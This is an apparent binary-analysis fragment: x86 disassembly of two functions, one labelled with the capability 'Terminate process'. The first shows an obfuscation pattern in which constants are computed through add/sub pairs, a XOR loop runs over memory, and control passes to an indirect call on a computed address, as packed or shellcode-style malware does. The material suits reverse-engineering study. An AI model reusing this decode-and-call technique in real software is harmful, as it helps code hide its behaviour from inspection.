xor dword [ebp - 0x14], ebx
add edi, 0xa67858bb
sub edi, 0xa67858b7
add esi, 4
loop 0x4012ce
add eax, 0x2712934d
sub eax, 0x27118606
xor ebx, ebx
add ebx, eax
add eax, 0xb195be8b
add eax, 0x4e6a417a
mov ecx, 0x71788153
sub ecx, 0x71388153
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d